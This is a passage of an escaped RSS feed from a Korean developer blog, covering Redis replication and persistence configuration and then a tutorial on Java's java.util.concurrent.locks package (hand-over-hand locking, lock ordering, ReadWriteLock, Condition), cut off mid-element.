&lt;p data-ke-size=&quot;size16&quot;&gt;Redis 복제 방식에는 디스크 사용 여부에 따라 나뉘며&amp;nbsp;해당 문단에서 말하는 복제 방식은 전체 동기화와 관련 있습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Redis는 실시간 응답성과 속도를 우선시하기 때문에 디스크 I/O로 인한 지연을 방지하기 위해 기본적으로는 디스크 리스 방식을 사용합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4-1. 디스크 사용 방식&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Master 서버가 RDB 스냅샷을 디스크에 저장한 후 Replica 서버에게 전송합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 방식은 장애 발생 시 데이터를 안전하게 복구할 수 있습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4-2. 디스크 리스 방식 (default)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Master 서버가 RDB 스냅샷을 저장하지 않고 메모리에서 바로 Replica 서버에게 전송합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 방식은 장애 발생 시 복구 할 수 없습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4-3. 복제 방식 확인 및 설정&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4-3-1. 디스크 리스 복제 확인&lt;/p&gt;
&lt;pre id=&quot;code_1753284359034&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;CONFIG GET repl-diskless-sync
# 결과: &quot;repl-diskless-sync&quot; &quot;yes&quot; (디스크 리스 복제 활성화)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4-3- 2. 디스크 리스 복제 활성화&lt;/p&gt;
&lt;pre id=&quot;code_1753284452792&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;CONFIG SET repl-diskless-sync yes

# 명령어 혹은 redis.conf에 추가
repl-diskless-sync yes
# 1초 대기 후 전송
repl-diskless-sync-delay 1&lt;/code&gt;&lt;/pre&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. 영속성(Persistence) &amp;amp; 복제&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Redis는 데이터를 디스크에 저장해서 영속성을 유지하게 되며 대표적으로 RDB와 AOF 방식이 있습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;RDB : 데이터의 순간 모습을 디스크에 저장&lt;/li&gt;
&lt;li&gt;AOF : 모든 쓰기 명령어를 로그에 기록&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;영속성 설정 확인&lt;/p&gt;
&lt;pre id=&quot;code_1753284719080&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;CONFIG GET save
# 결과 예: &quot;1500 1 300 10&quot; (1500초에 1번, 300초에 10번 저장)
# 빈 문자열(&quot;&quot;)이면 RDB 비활성화

CONFIG GET appendonly
# 결과: &quot;appendonly&quot; &quot;no&quot; (AOF 비활성화)&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5-1. Master 서버의 영속성 비활성화 시 위험&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Master 서버의 영속성(RDB / AOF)을 모두 비활성화하면 재시작 시 데이터가 초기화 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Replica 서버는 Master 서버와 데이터를 똑같이 맞추기 때문에 Replica 서버까지 초기화 됩니다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. 고가용성과 장애 복구&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Reids는 Sentinel과 Cluster로 고가용성을 강화합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Sentinel : Master 서버를 감시하면서 죽으면 Replica 서버 중 하나를 Master로 승격시킵니다.&lt;/li&gt;
&lt;li&gt;Cluster : 데이터를 여러 노드에 나누어 저장하고, 장애 발생 시 자동 복구합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;figure data-ke-type=&quot;video&quot; data-ke-style=&quot;alignCenter&quot; data-video-host=&quot;youtube&quot; data-video-url=&quot;https://www.youtube.com/watch?v=mPB2CZiAkKM&quot; data-video-thumbnail=&quot;https://scrap.kakaocdn.net/dn/cx9Y2k/hyZnuU6Rfw/c7wCaPwvdN73lUZmev6csK/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=132_154_180_206,https://scrap.kakaocdn.net/dn/bU4kox/hyZnt9JAmP/aWAppKZZlCtWu1skqvO0KK/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=132_154_180_206&quot; data-video-width=&quot;860&quot; data-video-height=&quot;484&quot; data-video-origin-width=&quot;860&quot; data-video-origin-height=&quot;484&quot; data-ke-mobilestyle=&quot;widthContent&quot; data-video-title=&quot;[우아한테크세미나] 191121 우아한레디스 by 강대명님&quot; data-original-url=&quot;&quot;&gt;&lt;iframe src=&quot;https://www.youtube.com/embed/mPB2CZiAkKM&quot; width=&quot;860&quot; height=&quot;484&quot; frameborder=&quot;&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt;
&lt;figcaption style=&quot;display: none;&quot;&gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;7. 키 만료 처리&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Redis 작동 방식에서 잠깐 언급했지만, Redis의 경우 Key에 대한 만료시간을 설정할 수 있습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Replica 서버는 Key를 직접 만료 시키지 않으며 Master 서버가 키를 삭제(DEL)하면 이를 Replica에게 전송하게됩니다.&lt;/li&gt;
&lt;li&gt;Replica 서버는 읽기 위주로 사용되는데 이때 읽기 요청에선 만료 시간을 무시하여 일관성을 유지하게 됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;8. 복제 설정 방법&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;8-1. Replica 설정 (redis.conf)&lt;/p&gt;
&lt;pre id=&quot;code_1753285474820&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# Master 서버의 IP와 Port
replicaof 123.123.123.1 6379&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;8-2. Master 서버가 실행 중일때 설정&lt;/p&gt;
&lt;pre id=&quot;code_1753285532205&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;redis-cli -h [Replica_ip] -p 6379
REPLICAOF 123.123.123.1 6379&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;8-3. Master 서버에 비밀번호가 있는 경우&lt;/p&gt;
&lt;pre id=&quot;code_1753285634084&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# redis.conf
masterauth [password]

# 또는 명령어
CONFIG SET masterauth [password]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;8-4. 읽기 전용 Replica (default)&lt;/p&gt;
&lt;pre id=&quot;code_1753285675092&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 쓰기 금지
replica-read-only yes&lt;/code&gt;&lt;/pre&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;9. 주의 사항&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. Backlog 크기 설정의 경우 꼭 Master 서버의 메모리 사용량에 맞게 설정해야합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;만약 크기가 너무 작다면 전체 동기화 빈도가 늘어나기 때문에 성능상 좋지 못합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. Master 서버의 영속성 설정을 모두 비활성화하게 되면 데이터 손실 위험이 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. Replica 서버는 데이터 일관성을 유지하기 위해 replica 서버의 maxmemory 설정과 상관 없도록 만들어줘야합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;데이터 불일치를 방지하기 위한 권장 설정입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1753285866032&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# redis.conf
replica-ignore-maxmemory yes&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. Redis 7.0부터는 Replica 서버의 쓰기는 허용하지 않는것을 권장합니다.&lt;/p&gt;</description>
      <category>Development/Redis</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/316</guid>
      <comments>https://jangto.tistory.com/entry/Redis-Replication-%EC%A0%95%EB%A6%AC#entry316comment</comments>
      <pubDate>Thu, 24 Jul 2025 18:06:28 +0900</pubDate>
    </item>
    <item>
      <title>java.util.concurrent.locks</title>
      <link>https://jangto.tistory.com/entry/javautilconcurrentlocks</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;java.util.concurrent.locks 패키지는 내장된 동기화(synchronization) 및 모니터(monitor) 기능과는 구별되는 락(lock)과 조건(condition) 대기를 위한 프레임워크를 제공하는 인터페이스 및 클래스들로 구성되어 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구문(syntax)이 다소 복잡해지는 대가로 락과 조건 변수 사용에 있어 훨씬 더 유연한 방식을 허용합니다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Lock Interface : 유연한 동시성 제어를 위한 핵심 도구&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;주요 구현체 : ReentrantLock&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Lock 인터페이스는 재진입, 공정성 등 다양한 락 제어 방식을 지원하며&amp;nbsp;synchronized처럼 코드 블록 단위로만 락을 거는 방식과 달리 필요한 시점에 직접 락을 걸고 해제할 수 있기 때문에 노드 하나씩 이동하며 락을 넘겨주는 방식(hand-over-hand locking)이나 락을 걸 순서를 바꿔야 하는 상황(lock reordering)처럼 복잡하고 유동적인 흐름에서도 유연하게 동기화를 제어할 수 있습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;  hand-over-hand locking&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;탐색 중 현재 노드의 락을 획득한 상태에서 다음 노드의 락을 먼저 획득한 뒤 현재 노드의 락을 해제하는 방식입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 방&lt;span style=&quot;color: #333333; text-align: left;&quot;&gt;식은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;짧은 범위의 락 점유&lt;/b&gt;로 경쟁을 줄이고 동시성(concurrency)을 높이는 데 도움이 됩니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;  노드 란 무엇인가?&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;값(data)과 다른 노드를 가리키는 참조(reference, pointer)를 함께 가지는 데이터 단위를 말합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 이해하기 쉬운 예시로는 연결 리스트(Linked List)가 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1751985830807&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;class Node {
    int value;
    Node next;

    Node(int value) {
        this.value = value;
        this.next = null;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;  Code로 알아보는 hand-over-hand locking 예시&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 연결 리스트의 각 노드에 락을 두고 핸드 오버 핸드 락킹(hand-over-hand locking) 방식으로 안전하게 값을 탐색하는 예시이며 이 방법은 연결 리스트 전체에 락을 거는 방식과 달리 짧은 범위의 락 점유로 경쟁을 줄여 동시성(concurrency)을 높이는 데 효과적입니다.&lt;/p&gt;
&lt;pre id=&quot;code_1751986189613&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import java.util.concurrent.locks.Lock;
import java.util.concurrent.locks.ReentrantLock;

class LockedNode {
    int value;
    LockedNode next;
    final Lock lock = new ReentrantLock();

    LockedNode(int value) {
        this.value = value;
        this.next = null;
    }
}

public class LockedLinkedList {
    private LockedNode head;

    public LockedLinkedList() {
        head = null;
    }

    public void addFirst(int value) {
        LockedNode newNode = new LockedNode(value);
        if (head != null) {
            newNode.next = head;
        }
        head = newNode;
    }

    // ⭐ hand-over-hand locking
    public boolean contains(int value) {
        LockedNode current = head;
        if (current == null) return false;

        current.lock.lock();

        try {
            while (true) {
                if (current.value == value) {
                    return true;
                }

                LockedNode next = current.next;
                if (next == null) {
                    return false;
                }

                next.lock.lock();       // 다음 노드 락 먼저 획득
                current.lock.unlock();  // 현재 노드 락 해제

                current = next;         // 다음 노드로 이동
            }
        } finally {
        	⭐ 예외가 터져도 락 해제
            current.lock.unlock();
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;  lock reordering&lt;/b&gt;&lt;/h3&gt;
&lt;p data-end=&quot;278&quot; data-start=&quot;197&quot; data-ke-size=&quot;size16&quot;&gt;락 획득 순서가 일관되지 않으면 교착 상태가 발생할 수 있습니다.&lt;br /&gt;lock reordering은 이를 예방하기 위해 락 획득 순서를 조정하여 서로 다른 스레드가 락을 반대 순서로 획득하는 상황을 방지합니다.&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;  Code로 알아보는 lock reordering 예시&lt;/b&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1751987004169&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;public class LockReorderingExample {
    private final Object lockA = new Object();
    private final Object lockB = new Object();

    public void safeMethod() {
        Object firstLock;
        Object secondLock;

        // ⭐ identityHashCode를 기준으로 정렬하여 락 순서 결정
        // 이 값은 JVM 실행마다 달라질 수 있지만 한 번의 실행 내에서는 lockA와 lockB 간의 상대적인 순서를 항상 명확하게 결정합니다.
        if (System.identityHashCode(lockA) &amp;lt; System.identityHashCode(lockB)) {
            firstLock = lockA;
            secondLock = lockB;
        } else {
            firstLock = lockB;
            secondLock = lockA;
        }

        synchronized (firstLock) {
            synchronized (secondLock) {
                // 안전한 작업 수행
            }
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;ReadWriteLock Interface : 읽기와 쓰기를 분리한 동시성 제어 &lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;주요 구현체 : ReentrantReadWriteLock&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;382&quot; data-start=&quot;251&quot; data-ke-size=&quot;size16&quot;&gt;읽기(read) 와 쓰기(write) 작업을 분리하여 동기화를 제어할 수 있도록 설계된 인터페이스리며&amp;nbsp;synchronized 또는 ReentrantLock과 같은 상호 배제(mutex) 기반 락보다 더 좋은 동시성(concurrency) 을 제공할 수 있습니다.&lt;/p&gt;
&lt;p data-end=&quot;382&quot; data-start=&quot;251&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;382&quot; data-start=&quot;251&quot; data-ke-size=&quot;size16&quot;&gt;읽기 작업이 빈번하고 쓰기 작업은 드문 시스템에서 성능 최적화에 매우 효과적입니다.&lt;/p&gt;
&lt;p data-end=&quot;382&quot; data-start=&quot;251&quot; data-ke-size=&quot;size16&quot;&gt;예를 들어 데이터가 한 번 초기화된 후 변경은 거의 없지만 자주 조회되는 경우(예: 사전, 캐시, 설정 값)입니다.&lt;/p&gt;
&lt;h3 data-end=&quot;382&quot; data-start=&quot;251&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;  구성 요소&lt;/b&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1752070427556&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;public interface ReadWriteLock {
    Lock readLock();   // 다중 읽기 전용 락
    Lock writeLock();  // 단일 쓰기 전용 락
}&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;readLock()&lt;/b&gt;: 여러 스레드가 동시에 획득 가능합니다. (단, 쓰기 중일 경우 대기)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;writeLock()&lt;/b&gt;: 단일 스레드만 접근 가능합니다. (읽기와 쓰기 모두에 대해 배타적)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333; text-align: left;&quot;&gt;writeLock 획득된 경우&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;모든 읽기 락 요청은 차단됩니다.&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333; text-align: left;&quot;&gt; writeLock 해제 후&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;락 정책에 따라 다음 락을 획득할 스레드(읽기 또는 쓰기)가 결정됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;   Code로 알아보는 ReadWriteLock 사용 예시&lt;/b&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1752070599551&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;public class ReadWriteLockTest {
    private int data = 0;
    private final ReadWriteLock rwLock = new ReentrantReadWriteLock();
    private final Lock readLock = rwLock.readLock();
    private final Lock writeLock = rwLock.writeLock();

    //   읽기 작업: 여러 스레드가 동시에 접근 가능
    public int read() {
        readLock.lock();
        try {
            System.out.println(&quot; [읽기] &quot; + Thread.currentThread().getName() + &quot; : &quot; + data);
            return data;
        } finally {
            readLock.unlock();
        }
    }

    // ✏️ 쓰기 작업: 하나의 스레드만 접근 가능
    public void write(int value) {
        writeLock.lock();
        try {
            System.out.println(&quot; [쓰기] &quot; + Thread.currentThread().getName() + &quot; : &quot; + value);
            this.data = value;
        } finally {
            writeLock.unlock();
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;  메모리 가시성과 동기화 보장&lt;/b&gt;&lt;/h3&gt;
&lt;p data-end=&quot;2104&quot; data-start=&quot;1944&quot; data-ke-size=&quot;size16&quot;&gt;ReadWriteLock은 단순히 락 충돌을 방지하는 것뿐만 아니라 메모리 동기화(visibility guarantees) 도 보장합니다.&lt;br /&gt;이는 자바 메모리 모델(JMM)에 따라 락을 사용하는 스레드 간 데이터 일관성과 가시성을 유지하기 위한 중요한 규칙이기 때문에writeLock.unlock() 이전에 수행된 모든 변경사항은 이후에 readLock.lock()을 획득한 스레드에게 반드시 반영되어야 합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;2104&quot; data-start=&quot;1944&quot;&gt;이 내용은 당연해 보일 수 있지만 CPU or JVM은 성능을 위해 각 스레드가 로컬 캐시에 값을 저장하고 사용하게 되는데 이때 스레드 간 불일치 문제가 발생하거나 최적화를 위한 코드 재배치로 값이 달라질 수 있다고 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1752071789668&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;data = 0

[Thread-A] writeLock.lock();
data = 1
writeLock.unlock(); -&amp;gt; 해당 내용은 메인 메모리에 flush

[Thread-B] readLock.lock(); &amp;larr; 최신 data 값을 반드시 읽을 수 있음&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 메모리 가시성 보장은 ReentrantReadWriteLock을 포함한 모든 ReadWriteLock 구현체에서 의무적으로 제공되어야 하는 계약(Contract)이기 때문에 읽기 락이 쓰기 락 해제 이후의 상태를 정확히 반영하지 않는다면 구현체가 메모리 모델을 위반하는 것입니다.&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;  ReentrantReadWriteLock 락 정책(Lock Policy)&lt;/b&gt;&lt;/h3&gt;
&lt;figure id=&quot;og_1752073978461&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;ReentrantReadWriteLock (Java Platform SE 8 )&quot; data-og-description=&quot;When constructed as fair, threads contend for entry using an approximately arrival-order policy. When the currently held lock is released, either the longest-waiting single writer thread will be assigned the write lock, or if there is a group of reader thr&quot; data-og-host=&quot;docs.oracle.com&quot; data-og-source-url=&quot;https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/locks/ReentrantReadWriteLock.html&quot; data-og-url=&quot;https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/locks/ReentrantReadWriteLock.html&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/locks/ReentrantReadWriteLock.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/locks/ReentrantReadWriteLock.html&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;ReentrantReadWriteLock (Java Platform SE 8 )&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;When constructed as fair, threads contend for entry using an approximately arrival-order policy. When the currently held lock is released, either the longest-waiting single writer thread will be assigned the write lock, or if there is a group of reader thr&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;docs.oracle.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-end=&quot;2639&quot; data-start=&quot;2575&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 84px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style8&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 33.3333%; height: 21px;&quot;&gt;항목&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 21px;&quot;&gt;ReentrantReadWriteLock(true)&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 21px;&quot;&gt;ReentrantReadWriteLock(false : default)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 33.3333%; height: 21px;&quot;&gt;락 획득 순서&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 21px;&quot;&gt;First In First Out&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 21px;&quot;&gt;성능 우선&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 33.3333%; height: 21px;&quot;&gt;장점&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 21px;&quot;&gt;(writeLock) 스레드 기아 문제 완화&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 21px;&quot;&gt;높은 처리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;width: 33.3333%; height: 21px;&quot;&gt;단점&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 21px;&quot;&gt;락 획득 / 해제 시 오버헤드 발생&lt;/td&gt;
&lt;td style=&quot;width: 33.3333%; height: 21px;&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;(writeLock)&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 스레드 기아 문제 발생&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 외에 설정할 수 없지만 알고 있으면 유용한 설계는 아래와 같습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;읽기 락 승격(Read Lock Upgrading) 방지
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이미 읽기 락을 획득한 스레드가 쓰기 락을 바로 획득하는 것을 허용하지 않습니다.&lt;/li&gt;
&lt;li&gt;이는 교착 상태 방지를 위한 설계 결정입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt; Condition Interface: 유연한 스레드 간 협력 도구&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Object 클래스의 wait(), notify(), notifyAll() 메서드와 비슷한 메커니즘을 제공하지만 Lock 인터페이스와 함께 사용될 때 시너지가 좋습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Object 클래스의 wait(), notify(), notifyAll() 메서드가 특정 객체의 모니터와 관련된 단 하나의 대기 집합(wait-set)만을 가지는 것과 달리 Condition은 하나의 Lock 인스턴스에 여러 개의 Condition 인스턴스를 연결하여 사용할 수 있어 특정 조건을 기다리는 스레드 그룹을 개별적으로 관리할 수 있습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;다중 조건 대기 : 하나의 Lock에 여러 Condition 객체를 연결하여 스레드 그룹을 분리 관리합니다.&lt;/li&gt;
&lt;li&gt;인터럽트 가능 : await()로 대기 중인 스레드를 외부에서 중단시킬 수 있습니다.&lt;/li&gt;
&lt;li&gt;시간 제한 대기 : awaitNanos(), awaitUntil() 등으로 특정 시간/시각까지 대기합니다.&lt;/li&gt;
&lt;li&gt;공정성 : ReentrantLock이 공정성 모드일 때 Condition도 스레드를 공정하게 깨웁니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;figure id=&quot;og_1752077308204&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Condition (Java Platform SE 8 )&quot; data-og-description=&quot;Condition factors out the Object monitor methods (wait, notify and notifyAll) into distinct objects to give the effect of having multiple wait-sets per object, by combining them with the use of arbitrary Lock implementations. Where a Lock replaces the use &quot; data-og-host=&quot;docs.oracle.com&quot; data-og-source-url=&quot;https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/locks/Condition.html&quot; data-og-url=&quot;https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/locks/Condition.html&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/locks/Condition.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/locks/Condition.html&quot;&gt;
